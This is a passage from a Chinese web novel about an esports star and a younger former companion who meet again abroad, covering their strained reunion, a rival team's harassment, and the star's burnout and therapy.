沈岸无意旁听别人吵架,但这句话毫无预兆地飘进耳朵时,有那么一瞬间,只觉脑海顿空,周身陷落。
像无形锁匙,猝不及防旋开前一个深冬里落下的锁。
---
那是DTL的第二个冠军之夜,众星捧月的焦点不变,只是簇拥着的星少了一颗。
沈岸记得自己在会所楼下的夜风里站了很久,等了很久,等僵了一双手,等来了一个一身酒气的人。
那人荣耀加身,脸上却没什么笑意,在绚丽的霓虹射光下垂着眼,眉目间是藏不住的疲倦。
像是有意拉开距离,温忱靠着冰凉墙面而立,语气也没什么温度:“不冷吗,站在外面。”
冷,但沈岸懒得说,只是目光不错地看着他。
看着他刻意避开自己的视线,几次想开口说什么又都咽了回去,最终也只是拢了拢外套,从口袋掏出一包烟。
奈何夜里风大,醉醺醺的人一连尝试几次都没能点燃。
就在准备放弃时,一只触感冰凉的手伸过来夺走了打火机,同时手指的主人倾身凑近了几分,挡住了来风。
咔嚓。
火苗应声燃起。
火光掩映下的人怔了两秒。
看着近在咫尺的那张脸,仅仅只隔了一根烟蒂距离的嘴唇,温忱下意识想后退,可早已抵在墙边,避无可避。
醉意骤然消散,他几乎是立刻就别开了头,将燃起的烟送回指尖,抬脚朝旁边挪了一步。
“谢谢。”
沈岸觉得他的行为很此地无银,很搞笑,于是笑着问他:“你现在很怕我,是吗?”
“没有。”
“那就是不想见到我。”
“也没有。”
“那为什么希望让我离开?”
温忱皱了皱眉,并不认同他的说法:“我希望的是你有更好的人生。”
“你也知道是我的人生。”沈岸挑眉:“那好与不好凭什么由你来判定?”
其实还有一句没问出口的——“凭什么你就笃定,离开你我能过得更好?
这次,温忱静了很久,吐出两口烟才缓缓开口:“是你的不错,但是小岸,人是要为自己的选择付出代价的。”
“你还小,很多事情可能并不那么懂。我不希望你有朝一日为今天的决定而后悔。”
“你的人生有大把更好的选择和机会,没必要上赶着去挑最难的一条路走。”
原来在他心里是最难的路。
良久之后,沈岸点点头,像是接受了说辞,再开口,是一个一语双关的冰冷道贺:“好,恭喜温队长。”
恭喜他夺冠,也恭喜他如愿。
“我会离开。”
“不过,”少年的眼底闪烁着冰冷的倔强:“不是因为发现你想推开我。”
他向后退了几步,划清界限:“是我有了更想去的地方。”
“是我不想留在你身边了。”
----
等到重新将两个相距千里,跨越时空的冬日分隔开时,沈岸发现,那对争执的男女居然已经和好。
男生正在替女生裹上围巾,拢着双手,呵了口气后牵起,塞进自己的大衣口袋里。
沈岸突然很好奇这二人是怎么做到的。
是谁先服的软?谁先让的步?
又或者说,是只需要一个服软,一个让步,就可以和好如初吗?
目送二人依偎着离开时,他甚至一度升起了追上去问一句的心思。
是身后由远及近的脚步声打消了这个鬼使神差的想法。
人流已远去,园区重新陷入寂静,两双皮鞋交替着踏过石阶的声音尤为刺耳,刻意压低的交谈和窃笑更是彰显着来者的并不友善。
A国治安不比国内,沈岸几乎是立刻就起身离开。
但还是没快过对方的有备而来。
留着络腮胡的高个子外国人吹着口哨上前,挡住去路,用英文问了句是不是来看Once的中国男孩?
沈岸皱了皱眉没有回应
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,目光落在对方的战队队服上。
冤家路窄。
是不久前在游戏里大放厥词,被自己嘲讽回去的法国战队Oral。
对方当然认不出沈岸,也显然没有因为一次翻车就改邪归正,照旧自顾自发表了与先前别无二致的诋毁言论。
听得沈岸一度怀疑这个队伍平时根本不训练,或者训练的内容就是如何惹人厌。
又菜又神经。
只是不知是源于沈岸太具乖巧意味的迷惑性长相,还是这两人得天独厚的厚脸皮,少年幽冷鄙弃的目光被曲解成了没听懂英文的茫然。
于是两人毫不避讳地相视一笑,用法语调侃了几句,大概意思是说好看又没文化的中国弟弟一定很好得手。
没文化但恰好能听懂法语的沈岸:“……”
再开口,法国佬换上了蹩口的中文。
“小底迪,窝们也四置业炫手哦。”怕对方还不明白,高个子指了指自己衣服上的队标:“窝们和Once科熟了呢~”
“妹戳,窝们可以带泥去找他玩儿哦~”
沈岸像看傻子一样抬眼看他们:“你们是属变色龙的吗?”
中文造诣并不足以理解何为“变色龙”的二人不耻下问:“那四森莫?”
奇怪的是,中国男孩不知为何好像也突然回答不出这个问题来了,脸上再度染上一层茫然。
像一片空白不知所措,也像心绪翻滚震撼无边。
半晌后,男孩终于想到了答案,轻笑了笑:“就是说你们和龙的传人一样厉害。”
傻子二人组听不懂话也看不懂脸色,只抓住了关键词“厉害”,忙不迭回了句那当然啦,然后顺势拐骗,说知道附近有家酒吧,可以一起去边喝边等他的Once。
沈岸点了点头,抬脚往前走:“好啊。”
以为迎来了捕猎大胜利的人激动得发出两声怪叫,伸手就要去揽人家的肩。
下一秒差点被连人带魂踹出去二里地。
用母语骂了句娘,两人没好气地回头想看看是什么人耽误好事,却又纷纷在看清来人时哑火。
——被他们拿来做饵的本尊就这么出现在了钓鱼现场。
没有穿队伍,温忱双手插在黑色大衣口袋中,唇边叼了根燃了一半的烟,漆黑的眸光狠鸷而冷厉,阴恻恻的从他们身上扫过。
看得两人皆是一震。
在他们的信息网中,这位大名鼎鼎的Once应该是一个很佛系,很好脾气的人才对。
因为无论什么场合,无论遇到什么样的傻逼,都是一副云淡风轻的样子。
拿下第一个赛区冠军时笑容是淡淡的,卫冕二连冠时开心也是淡淡的,宣告休赛时更是淡淡的……就连今晚被Peak刻意恶心的时候,场下的观众也没在他脸上看到任何大起大落的神情。
就像没什么事情值得他真的开心或者生气一样。
二位原本对此深信不疑,直至今时今日,迎头撞上了好脾气到准备两拳抡飞自己的人。
上来招呼不打就是一脚,眼神跟他妈要杀人一样。
——中国人管这叫脾气很好?!
纯他爹的谣言!
9. 第 9 章
招摇撞骗的人自知理亏,不甘心白白挨揍又担心事情被捅大了受处分,忿忿滚蛋时还在谋划着以后对这个人的控诉定要再添一笔。
温忱不大在意名声,也无所谓被不被小人记恨。
满心满眼都只剩下那个静默望着自己的少年。
沈岸神色平平,没有被精神病骚扰的恼怒,也没有对正义解围人士的感恩。
更没有先开口的打算。
知道他心里有气,有意改口吊着Oral那两人玩,大约也只是想看看自己到底会不会过来。
蛮幼稚的。
成熟大人没和幼稚小孩计较,垂下眼打开叫车软件:“住哪?”
沈岸冷冷发笑:“就这么急着让我走?”
温忱咬着烟,语气逼人:“几点了?”
“哦,你能半夜不回家带别人打游戏,我就不行。”
“……”
不想病还没好清的人继续在外面吹冷风,温忱没有理会他的无理取闹:“快点,地址。”
沈岸肉眼可见得更加不悦了,刚要发作,就听对方又补了一句。
“我送你。”
沈岸报的是课题组统一安排的那个地址,倒不是还有工作未完。
而是因为那里更远。
A国地广人稀,从城东到城西,单程少说一小时往上。
慷慨如沈大学神,给了某人足足一个多钟头的时间来决定要说些什么。
问自己为什么会出现在机场和比赛现场也行,为当年的决绝反两句悔或是主动交代为什么离开半年更好,再不济,只是关心一句最近过得如何他也能接受……
然而事与愿违,温大队长高冷过头,全然没有一丝要开口的意思。
商务车的后座很宽敞,两人中间隔着厚重冰冷的扶手,像隔着万里银河。
银河那头是一动不动,呼吸平稳,仿佛已经睡着的无情人士。
两相沉默的第二十分钟,沈岸终于忍无可忍,睨着眼睛望过去,准备找事。
然而满怀怨怼意味的目光精准落下,却又在看清对方的憔悴的倦意后堪堪变了质——
温忱的确是闭着眼的,头微微倾向一边,飞驰向后的霓虹街灯明暗交替,轻柔掠过那张侧颜。
是肉眼可见的消瘦的,舞台上和镜头下尚且不那么明显,但从这个距离看过去,甚至连两颊的些微的凹陷都能看得出来。
被重逢的变故冲昏了脑袋,沈岸这才突然意识到,这个人应该是从上个月回归,就一直连轴转到了今天。
落下的训练需要成倍的高强度来弥补,生疏的配合也需要大把时间来磨合。
DTL又不是什么风水养人的地方,休息营养是跟不上的,队友是又菜又坑的,管理是不当人的。
……
还有那个模棱两可的休赛公告,所谓的身体原因需要静养,莫非真的不是托词……
沈岸皱起眉头,心底涌起一股难言的复杂情绪。
他其实知道,今天的三场正式赛,温忱打得并不算轻松。
心理压力是一,防着对面又要防着家里是二。
Peak不会蠢到打没准备的仗,之所以顶着泼天骂名也要干这种脏事,是因为他们认定自己能得到更多。
可能是为了稳住粉丝而展示的全新打法战术,也可能是“不小心”传递的核心思维布控……或者再贪心一点,赌他输掉比赛,输给一支替补队伍。
彻底身败名裂。
至于为什么敢赌这么大——
结合温忱在赛场上时的表现,沈岸认为,是因为DTL现在的队伍里有叛徒。
怒火就这么被迁移到了别人身上。
沈岸甚至连“他晚上会打2v2也许是因为太累了想划个水”这种借口都替人家想好了。
找事的初衷消失殆尽,他突然开始有些后悔选了个这么远的地方。眉心越拧越紧,沉重的目光也一直没有移开。
闭目养神的人很难感受不到这明晃晃的注视。
装睡半天未果,最终还是认命地掀起眼皮:“怎么了?”
夜色悄静,车子在空旷的街道上行驶,四目相对的那一刻,周身只有遥远的车轮摩擦声,和近在咫尺的呼吸声。
感受到这抹呼吸似乎不那么平静,那个人的脸色也不大自然,温忱直起身子,下意识想靠近但又忍住了。
只是柔声问了句:“不舒服?”
没有点头也没有摇头,沈岸一动不动,眼都不眨地继续盯着他。
车厢内暖气很足,感觉不到对方的气息是否灼热,但是看起来实在有几分烧傻了的嫌疑,温忱皱了皱眉,抬手贴上沈岸的额头。
几乎是在肌肤相贴的瞬间,一直缄默不语的人缓缓开口。
“那天为什么先走?”
明明掉头跑回来找他,明明送他去医院,明明陪了他那么久,明明那个时候任牵任抱……
现在又在这装什么高冷。
温忱:“……”
确认对方没有在发烧且脑子好得很后,他收回手坐回原位,实话实说。
“去接了个电话,你导师正好来了。”
沈岸不觉得二者有什么因果关系:“所以呢?你怕老师?”
“……”
沈岸了然:“那就是怕我。”
温忱想不通为什么时隔一年半这个念头还在他脑子里。
干脆虚心请教:“你觉得我应该怕你什么?”
沈岸坦坦荡荡:“怕我缠着你,赖着你。”
这句话从一走一年多的人嘴巴里说出来像极了玩笑。
所以哪怕对方一脸认真,温忱也没觉得有几分可信:“你会吗?”
“我可以学。”
温忱:“……”
温忱:“学点好的吧。”
“这就算不学好了?”
“……”
说又说不过,温忱干脆闭嘴,看手机装死。
一晚上没看消息,堆积了几个别的战队老友发来的祝贺,有欢迎他回来的,有恭喜他拿下冠军的,也有安慰他别理棒子的。
一一简单回复后,微信消息提示又闪了一下。
点进去才发现居然是一条新好友申请。
头像是小猫看海,昵称是Side。
正是此时此刻就坐在隔壁的某人。
沈大学神果然学什么都快,无师自通,眨眼间就学会了死缠烂打的第一步。
静候选择的视线毫不掩饰地落下,将指尖微妙的悬停和长睫细微的颤动尽收眼底。
温忱最终还是通过了这条好友申请,并且十分善解人意的没有追究是什么时候把自己删掉的。
奈何对方偏要自行招供。<
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p>“我到A国的第二周就把你删了。”
沈岸语气轻飘飘的:“因为总惦记着看消息,根本学不进去。”
这话不是骗人。
沈岸当时走得冷酷,揣着一副谁离了谁都能活的心思远赴他乡,准备一头扎进学海麻痹自己。
结果绝望地发现,课是听不进去的,书是看不下去的,作业是没法按时完成的……
有点时间就盯着个破聊天框发呆。
消息记录跨度长达三年之久,却在这一年的冬天再也没有更新过。
给了自己一周的时间沉湎过去,沈岸在快把过往聊天内容翻包浆前及时止损。
一键删除,一劳永逸。
看似招认罪行,但话里委屈意味明显,温忱听着,觉得反倒是自己成了那个恶人。
不给他发消息的恶人。
活该被删。
这点温忱自己也认。
是很活该的。
人家不想走的时候上赶着劝他走,真走了又舍不得,知道去了那么个天寒地冻的国家还心疼。
但舍不得了不敢说,心疼了又不敢问。
留着联系方式也是多余。
是以,他点点头,接受指责:“我的问题。”
沈岸咄咄逼人一晚上,原本打定主意要用铁血手腕质问出个所以然来,却在听到这句话的瞬间偃旗息鼓。
想过也许会被敷衍,会被不搭理,又或者再被连篇大道理教育一次……
沈岸还真就没想过会听到这个答案。
不知怎的,他忽然想到了那对很快和好的男女。
像一股涓涓暖流从心间淌过,有什么东西开始逐渐消融。
夜里路况好,一个小时出头的路程实际只花了四十多分钟,车子停在小区门口,温忱跟着拉开车门下车,送他往里走。
这个点的住宅区没什么光亮,昏黄路灯将两人的影子拉得很长。
一前一后,交错并行,谁都没有说话。
直到沈岸在一个看起来没什么烟火气的小院前停下。
温忱瞥了一眼:“这里?”
“嗯。”
“进去吧。”
说罢,向后退了两步,准备离开。
但没走成,一双冰凉的手又一次捉住了他的手腕。
寒意很快攀上胳膊,蔓延向全身,但温忱没有挣开,只是提醒道:“外面很冷,赶紧进去。”
“问完最后几个问题就进去。”
没有松手,也没等到对方应允,沈岸将憋了一路的问题全盘托出。
第一个,“为什么偷看我打游戏?”
不知道这孩子现在怎么这么执迷于在冷风里说话,温忱也顾不得深思熟虑了,只想快点结束对话让人进屋。
“点错了。”
这句是假话。
第二个,“为什么让你队友揍我?”
“没让。”
这句是真话。
第三个,“为什么跟出场馆找我?”
“你说呢?”
这句是废话。
最后一个,“为什么休赛?”
话出口时,温忱感觉到抓着他的力道紧了几分,带着细微的颤栗,看过来的目光也变得格外严肃和认真。
少年眸光深沉,声音也低沉。
“你是不是真的生病了?”
10. 第 10 章
稀薄月光混杂在暖色的灯火中,偷偷攀上某人脸颊,流转映照出一抹皎洁的冷色。
冷月清辉下的人淡淡抬眼:“没有。”
“就是累了,休息一段时间。”
只这两句,沈岸分不清真假,可不等再追问,就被人往屋里撵。
原本是不服的,但听到温忱说了句,其他的留着下次再问。
他说下次。
到底是太过了解,总能一开口就精准安抚。
连续三次在临界爆发时偃旗息鼓的人也知道自己这样实在太不争气。
可是他说下次。
沈岸认栽地在心里默叹了一口气。
……那就下次吧。
研究项目的收尾工作已经完成,没人还有理由留在这,客厅内漆黑空荡,只有投影屏幕的电源灯光亮着。
微小但耀眼的蓝光照亮一方天地,仿佛撕破了半边夜色。
前些天组员们都围在这里看比赛,欢呼声叫嚣声震天动地,穿透天花板落在沈岸的耳边,曾一度成为他完成任务的最大阻力与最大动力。
说不想看那是骗人的。
从第一场线上赛打响,热搜就铺天盖地。
沈岸抽空点进过几个击杀集锦和精彩瞬间的剪辑,大致看得出来温忱打得很稳,不太像他过去的风格。
当时没太多想,现在回过头来再看,也许从那个时候他就发现问题了。
于是那抹蓝色微光成了深夜里的幽灵,指引着毫无睡意的人在凌晨两点打开了过往比赛回放。
五场瑞士轮,沈岸看着温忱从狙击手玩到枪炮手,又从枪炮手玩回狙击手,一路稳扎稳打。
队内位置分配和过去差不多,姓贺的玩战士,姓陆的玩辅助,新来的玩刺客。
战士玩得很呆,辅助玩得很蠢,刺客玩得也就那样。
接连三个胜场,MVP都是Once,其余几人的评分不低,但明眼人一看就知道是保着KDI苟着打的成果。
沈岸的脸色越来越不好看。
这个队伍还是和以前一个样子,单核到让人无法理解。
但凡温忱不发力,但凡温忱失误一丁点,整个队伍都是必输无疑。
第三轮,温忱第一次掏出了辅助冰刺,不太合理,但这是他们第二次遇到Peak,一切又都变得有迹可循。
的确是有问题的。
与Peak的第二次相遇,是DTL前期唯一一个打满的BO3,险胜。
温忱玩了三把辅助,最后一把逆风翻盘,靠的是守澈与舜华成功偷家。
对应上了正式赛上的那一次刺探,同样的阵容,同样的偷家操作,难怪会让Peak二队乱了阵脚。
看到这里,心里大致也有了数,沈岸轻舒一口气,按了暂停。
窗外是长夜未尽,屋内是思绪难平。
不知道自己这么坐了多久,想了多久,总之再抽回神,是身后的大门被人嘀的一声刷开。
进门的动静很大,两个男生互相搀扶,摇摇晃晃,口齿含混不清。
“你别tm不信!我百分之一百二十个确定就是他!”
“放屁吧,你喝傻了?”
“没醉!我……可是Once骨灰粉!他化成灰、化成灰我都,认得出来!!”
这话太不中听,沈岸眸光一凛,冷冷扫向出言不逊的人。
然而两人醉得都不轻,压根没发现客厅还有人,跌跌撞撞地就往沙发上瘫,躺下去一半忽然抬头撞上一双冰冷幽怨的眼睛,吓得嗷一嗓子滚到了地上。
“卧槽!!!”
“……你踏马在这干嘛——!!”
两个人爬起来的姿势各有各的狼狈,沈岸起身睨了二人一眼,居高临下地对其中一人道:“你不会说话可以闭嘴。”
酒气熏天的人根本反应不过来对方指的是什么,拍了拍自己的小心脏重新坐回沙发:“酒都给老子吓醒了。”
另一人嗤笑一声:“我就说你醉了。”
“醉了也不会看错!”
沈岸压根不记得这两人叫什么,面孔太生,没照过几次面,估摸是在附近喝完酒想起来还有这么个地方能住才会这个点过来。
和酒鬼没什么可说的,没好气的白了那人一眼后,沈岸抬脚离开。
两人也没管他,继续先前的争辩。
“想也不可能,人家刚打赢比赛不去庆功喝酒,大老远跑这来吹什么风?”
“而且你也不看看现在几点,从这到市中心天都亮了,你傻逼还是人家Once傻逼?”
再一次听到这个名字,沈岸停下脚步回头。
“你们在说什么?”
两人顿了一下,看看沈岸,又看了看彼此。
沈岸不认识他们,不代表他们不认识沈岸。
没进组之前就听说过这位小天才的名号,十七岁刚入学就加入了导师的高级独立研究项目,十八岁以特殊人才身份跻身洲际实验室,十九岁收到研究生院的提前保送邀请,参与这次社会研究也只是为了走个过场,完善履历,达到保送要求而已。
是以,包括他俩在内的很多人,进组之后发现有这么尊大佛在,都顺理成章的开始摆烂划水了。
既是因为背靠大树好乘凉。
也是因为不想做绿叶衬红花。
没想到红花也爱八卦,隔了好几秒其中一人才开口:“没什么,他喝多了,非说在门口看到Once了。”
说完意识到书呆子应该不认识Once,补充解释说明:“额,就是一个打……”
“什么时候?”
被打断的人愣了愣:“……什么什么时候?”
沈岸极力让自己冷静,但声音还是隐隐有些发颤:“我问你什么时候看到的他。”
“就、就刚刚回来的路上啊。”
醉得更狠的另位又来劲了:“包没看错的,都怪你tm拦着我……”
叫嚷被甩在了身后,沈岸立刻就转身往门外走。
没来得及穿外套,凌晨的寒气仿佛比深夜还要刺骨几分,天光未亮,四野悄寂,只听得见远处的松柏在冷风中沙沙作响。
追至路口,沈岸没有看到那个身影。
街道空旷,路两侧堆积着前夜扫过的积雪,很深很厚,就像是落在他心里的那层。
和温忱了解沈岸一样的,沈岸其实也很了解温忱。
了解他不是个会说软话的人,不是个会为做过的决定反悔的人,更不是个会轻易许诺下次的人。
……了解他根本不该是自己几个小时前看到的那个样子。
沈
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岸觉得自己大概真的是疯了,才会把一切的反常和意想不到,都当做成了和好的预兆。
再次被冻僵了一双手,握着手机的指尖微微发颤,看着列表里才新加上的好友,头像还是那个一望无际的,看不到海岸线的海……
哆嗦了三次才拨过去一个电话。
嘟声持续了很久。
久到快要失去知觉拿不住手机。
久到以为那人根本不准备接。
久到等待铃声停止时,还以为只是超出了时间,自动以无应答结束。
可偏偏屏幕上开始了通话计时。
一时间,两人都没有说话,但沈岸这边的风声更大,终究还是对方打破了沉默。
“你在外面?”
温忱的声音透过听筒传来,有些沙哑和不清晰。
沈岸恍若未闻,反问:“你在哪。”
像是不知道怎么回答,那头半天没有回应。
沈岸继续追问:“你刚刚才离开,是不是。”
依旧没有回答,但这次是默认了的意思。
“所以……”少年的声音在风声中隐隐颤抖,飘摇无依:“你是要走了,对吗。”
温忱一直都觉得小孩子太聪明了也不是什么好事。
曾经是这样,现在也是。
知道瞒不住也没准备瞒,他轻轻嗯了一声。
“什么时候。”
“早上九点。”
然后听到了对方深吸了一口气。
感觉大概要被骂了,温忱悄悄拿远了些手机,垂下眼,盯着小猫头像。
黑色的小猫背影毛茸茸的,耳朵软软地塌下一只,看起来很乖顺好哄。
如果对面即将炸毛的另一只也能像这么听话就好了。
当然事与愿违。
“温忱,”
是直呼全名的开场,很严肃,也很惊悚。
“你tm到底还准备不告而别多少次?!”
愣了一下,温大队长不占理却依旧训人:“……怎么还开始说脏话了。”
被两醉鬼给传染的。
但沈岸没说,气焰变得更低:“现在是该你管教我吗?”
不该。
温忱闭嘴。
其实一直都不该。
其实不该的有些多。
不该有交集,不该有牵扯,不该有情感扎根,更不该隔了这么久还念念不忘……
他从很久很久以前就觉得不该了。
只是这孩子前途亮得一塌糊涂,人也固执得一塌糊涂。
什么也听不进去。
“温忱,我真的很想不通。”
“你能在DTL那种地方一待就是五年,能不计前嫌和所有欺辱过你的人和解,就算是某些人自己利欲熏心,走到了悬崖边,你都还在给他机会,想拉他一把……”
“你明明好像很大度,好像什么都能原谅,什么都能接受。”
“……为什么却独独接受不了我?”
清晰的嗓音逐渐开始被风雪淹没。
停了一夜的雪再度下了起来,来势汹汹,弥天盖地。
仿佛要摧毁掩埋一切。
包括少年人的最后一丝理智与尊严。
“……为什么唯有我,你是真的能说不要就不要了呢?”
11. 第 11 章
雪从城西一路下到城东,落在枯树枝头,落在新芽尖上,落进沿途的每一寸土里。
车子平稳驶离高架,撞破乍亮的天光,却没有迎来照耀任何一个人的曙光。
最后是沈岸挂的电话。
大约是失望透顶,实在无话可说了。
挂之前还冷硬地说了句,“你真的很讨厌。”
被讨厌得不算委屈。
在人家楼下长椅上坐着的几小时里,温忱也觉得自己很讨厌。
表里不一,胆怯懦弱,欺人太甚,还胆敢伪装深情。
…………
抵达酒店时天的确已经蒙蒙亮了,A国没什么万丈高楼,整个城市在白雪中静默,恍若天地都岑寂。
被风雪搅动的心却很难沉静。
直到收拾好行李,坐上去机场的保姆车,温忱整个人都还有几分彷徨失神。
林词没追究他昨晚偷跑,被列为“会乱发言的危险人物”之后,每次直播都让人提心吊胆的,找不到人正合他意。
而且横空出世的那两把诡异对局已成功赋予了这场挑战赛了本不该有的热度,他不露面反而更能引发网友热议。
网络上针对敌方循影的讨论翻天覆地,#路人王,#神秘人,#神级镜像操作,#Once是否真的收徒……等等一系列词条占据热榜。
论坛中更是热火朝天,有人贴出原视频逐帧复盘,有人调出过往Once的循影严谨对照讨论,还有人开局一张嘴直接造谣……
不过好在,当时为了保护水友隐私,直播只有游戏画面,没有怼脸。
第一局沈岸拿的是周旭升的号,网友们都下意识的认为这两把其实是两个人在操作。
于是脑洞朝着偏离实际的方向发散了,更多人倾向于相信对面其实是一支专门研究Once的民间高手队伍,比Peak还Peak的那种。
…………
圆满完成带队任务还有意外收获的林经理心情很好,大发慈悲地没多问温忱昨夜的私人行程。
Kun在昨晚的1V1中拿了第一,和粉丝们在赛后拍了合照,收获了不少掌声鲜花,落座时精气神满满。
另外二位没有报名挑战赛,在二楼观战喝酒觉得没劲,很早就另寻他地潇洒了。喝得七荤八素,上车时一个撞了头,一个崴了脚。
Wink在后面扶了一把:“陆哥,小心。”
陆寻然清醒几分,猫腰往前走,路过温忱时肉眼可见的停顿了一下,但对方自始没有抬眼看他。
去机场的路上,一车人一如既往的沉默,各自玩各自的手机。
但不知看到了什么,贺倾突然在后面卧槽了一声。
然后贱兮兮一笑:“温队,你昨晚是不是没干好事啊?”
温忱抬眼:“?”
“我朋友都发给我看了,你十二点多带着个小男生打车走的。”他双手抱头,仰着下巴:“怪不得一晚上没回酒店,原来是……”
一双眼森森然望过去,温忱呵斥住他的后半句话:“别瞎说。”
“嘁,敢做不敢当。”
贺倾也不怕他,伸手把照片给隔壁的两人看:“来,你俩看看我有没有乱说。”
那照片不算特别清楚,因为隔了很远,但温忱的背影很好认,往路边一站跟个衣服架子一样,别人想碰瓷都难。
至于旁边的男生,只稍矮了小半个头,同样的清挺秀逸,侧了半张脸,饶是画质模糊,也看得出是个很漂亮的少年。
“哇哦。”
陆寻然发出一声皮笑肉不笑的赞叹。
“吃这么好。”
Kun则发出了年轻人的口不择言。
温忱:“……”
他真的很想骂人,很想把他们的脑袋撬开看看里面除了黄色废料还有什么。
但可惜暴力解决不了问题,这几人显然早已对这种事情见怪不怪了,拿出来说也只是调侃的意思。毕竟在他们耳濡目染的圈子中,这都算不上是什么离奇的事情。
而且很显然的,几人也都默契地将自己列入了“干得出这种事情的人”的行列。
温忱无所谓自身形象如何,但别人不该无辜蒙冤。
于是想了想,搬出救兵:“人家是沈时的弟弟,比赛看晚了,他哥哥托我送他回家。”
既合理又能唬人,还经得住查。
几人闻言果然愣了一下。
“沈时?”贺倾满脸狐疑:“那个YF创始人?”
温忱不置可否。
果然,贺倾又卧槽了一句,就不再多废话了。
Kun两边看看,一脸茫然:“谁啊谁啊?”
到嘴边的瓜飞了,贺倾兴致缺缺:“咱们的阶级敌人。”
“YF不知道?”陆寻然淡淡瞥了Kun一眼,话里话外带着酸味:“人家是大股东,年纪轻轻凭借自己的努力继承家产,投资千万打造了这么个国内最壕战队。”
“YF这么有钱?!”
“不然你以为呢?我们吭哧吭哧这么多年才在环内有了俱乐部基地,人家可是直接CBD起家,动辄训练赛设个奖金池,线下赛赢了还额外奖励一人一套房。你看看他们战队那个新人Ink,进队两个月的时候就直接市中心买别墅啦!”
温忱很想让他们少看点营销号,多动动那不要钱的脑子。
“卧槽,怪不得他们每次和我们打训练赛都那么激进!这换谁不玩命打啊!”
少脑子团队再添一员,一直没说话的Wink震撼加入,可仔细想想又总觉得有哪里不对:“可是,这不是冤大头吗?得什么家底才能经得住这么挥霍啊?”
“祖辈产业吧,人爹妈地位高,具体没谁敢往深了查,反正就是典型的万恶资本家就对了!”
“喔!原来如此。”
温忱:“……”
“照你这么说,那应该叫慈善家。”
连林词都听不下去了,看大聪明似的扭头瞅了几人一眼,开始科普:“YF的老板的确有钱不错,但有钱又烧不着脑子,自掏腰包去养外人那不是傻逼吗?资本家投钱只会是为了赚更多的钱,你知道人家战队一年光代言费就能拿多少吗?”
“‘
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YF男团''这个称号真不是瞎叫的,就你们说的那个Ink,是叫池砚吧,他住别墅还真不稀奇。人家那代言广告费和各种综艺秀的出场费估计顶得上几届世界赛的奖金加起来了。”
虽是看着几位没脑子的,但这话更想说给谁听也很了然。
池砚作为继温忱之后又一个凭借颜值火出圈的电竞选手,圈内人一度戏称他为“小Once”。
温忱半年前休赛,恰给了这位新晋小帅哥崭露头角的机会——
DTL全队退赛,恰又赶上国内爆冷,YF成了唯一出线的中国战队,届时队伍刚经历一次不小的换血,新队长正是才被收编不久的池砚,Ink。
年纪轻轻的少年队长,背负着战区的荣耀带领队伍踏上征程。打了几场还算亮眼的胜仗,最终拜倒在强敌手下,没什么值得诟病的。
也正是从那时起,终于有人幡然醒悟,发现原来联盟并不是只有Once一棵“貌美如花”的树可以吊死。
短短半年时间,少年被推到众星捧月的位置,在温忱那里吃了无数闭门羹的商务资本转眼在这位新人身上尝足了甜头。
所以YF能赚个盆满钵满并没有什么奇怪的。
只是,将一切看在眼里的DTL就太不甘心了。
不甘心这明明从最开始就该是属于他们的一切。
早年来找Once谈合作的品牌方比现在找Ink的只多不少,偏那位大神不知哪根筋搭错非要和钱过不去,说着什么“不是一个圈子不要相互打扰”,就把送上门的钱又送回去了。
管理层自然气得要死,可偏偏那个时候是他们干了缺德事在先,温忱没撒丫子走人反告他们一把都是给足了面子,所以任谁也没胆子出来教唆或是逼迫。
哑巴吃黄连,亏成猪比,有口难言。
---
飞机落地国内已是晚上,这次成绩不错,热度很高,领导层十分满意,决定给辛苦训练了一个多月的人们放两天假。
温忱很少在休息时间留住,出了机场没有跟车,自己打车回了家。
那个和基地只隔着两个街区的家。
闹市中心,又正逢暑假,尽管已经快十一点了,依旧还有很多游客在江岸边拍照打卡。
拐进小区的必经路口堵得水泄不通,温忱干脆提前下了车,步行往回走。
这条路他曾在这个时间点里走过很多次。
那时沿江的商业街还没有开发完全,没有熙来攘往的旅人,也没有一路通明的灯火,但是江风可以直直吹过来,尤其是夏天的傍晚,凉爽怡人,肆意又自由。
那时的两侧绿树成荫,树叶在江风中摇曳,隔了挺远才有一盏的路灯将人影拉得又斜又长,男孩爱踩着影子,走得总是很慢,偶尔爱说一说学校里发生的事。
…………
恰在这时,一缕侥幸从人群中窜逃而过出的凉风轻划过温忱的脸颊。
带着江水的湿意,也带着夏夜的温热。
停住脚步的人这才突然后知后觉的发现——
原来,自己已经回到夏天了。
12. 第 12 章
周末傍晚的老城区热闹非凡,屹立街区中心的老式白楼隔音却是极好,将叫卖声与汽笛声尽数隔绝在外。
夕阳打进三楼的百叶窗,被切割成明暗交错的光带。
温忱坐在柔软的深灰色沙发中,双手搭在膝上,指尖有频率的轻轻敲击,目光落在狭窄光纹中缓缓上升的细小尘埃上。
“那今天就到这里。”
说着,对面的白衬衫男人合上记录本起身,走到饮水机旁接了两杯水。
“心理治疗从来不是一蹴而就的,遭遇一些情境性刺激后出现症状反复是很正常的。”
将另一杯水递给温忱,温和的医者语重心长:“不用给自己太大压力,慢慢来就好。”
温忱抬手接过水,没喝也没有说话。
心里想的是,可慢慢来的成本实在太大了。
休赛的时间不算在合同有效期内,他实在不想再花一个半年来和那群人耗着。
原本咨询应该到此结束,但江复看了看对方明显憔悴的面容,还是忍不住说道:“充足的休息是非常必要的,可你现在的工作环境性质乃至工作伙伴都只会对治疗起负作用。”
“站在医生的角度,我的建议还是继续暂停一段时间工作。”
年逾三十的男人声音平静温和,岁月在英俊柔和的脸上刻着沉稳,散发舒适、可靠、让人愿意亲近的气息。
“但是小忱,站在朋友或者说兄长的角度,”
话锋一转,那抹一直维持很好的温柔底色开始渐渐褪去,眼底闪过一丝锐利:“我还是希望你能趁早离开。”
…………
走出隔音诊疗室,被隔绝在外的喧闹声逐渐变得清晰。
温忱在纷杂背景音中等电梯。
江医生的告诫十分中肯,的确点明了他现在所面对的问题。
故人重逢是诱因,恶劣环境是强化。
大约一年前,温忱曾一度陷入了一种“存在虚无”的困境,兴趣缺失,动力缺乏,终日被无意义感笼罩,训练与比赛都是在机械的记忆下完成。
仿佛不知疲倦,但又倦怠无比,失眠成了常态。
冷漠、空虚与绝望感在每一个长夜里叫嚣,如噬骨之蚁,跗骨之蛆一般,蚕食着颅内的每一寸清明。
神经系统彻底崩盘是在半年多前,因为临近世界赛,过高强度的训练使得让本就岌岌可危的身体直接罢工。
线下海选赛时,温忱开始出现头痛心悸和胃部不适,直至打完最后一场小组赛,在全员的欢呼雀跃声中惨白着一张脸回到后场,在洗手间里呕吐到力竭晕倒,还是赛务组的人去打扫才发现。
